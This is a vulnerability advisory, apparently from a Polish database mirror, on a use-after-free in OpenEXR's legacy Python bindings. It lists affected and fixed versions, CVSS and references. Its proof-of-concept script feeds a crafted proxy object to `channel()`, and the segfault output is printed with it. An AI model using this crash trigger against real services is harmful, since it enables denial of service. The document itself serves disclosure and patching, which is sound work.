OpenEXR has use after free in PyObject_StealAttrString
Summary
There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
PoC
import OpenEXR, Imath
# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"
# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
def __new__(cls, v):
return int.__new__(cls, v)
def __del__(self):
# stir the heap to make the UAF obvious under PYTHONMALLOC=debug
_ = bytearray(1_000_000)
class PixelTypeProxy:
@property
def v(self):
return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")
running
PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF...
Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first):
File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first):
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
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| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | openexr | >= 3.2.0, < 3.2.5, >= 3.3.0, < 3.3.6, >= 3.4.0, < 3.4.3 | 3.2.5, 3.3.6, 3.4.3 |
Odnośniki
- https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m
- https://nvd.nist.gov/vuln/detail/CVE-2025-64183
- https://github.com/AcademySoftwareFoundation/openexr
- https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115
- https://pypi.org/project/openexr
- https://github.com/advisories/GHSA-57cw-j6vp-2p9m
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-416- Platforma
- Python (PyPI)
- Paczka
openexr- Ujawniono
- 06.04.2026
- Aktualizacja
- 11.10.2026 14:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-2844 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-57cw-j6vp-2p9m - CC BY 4.0
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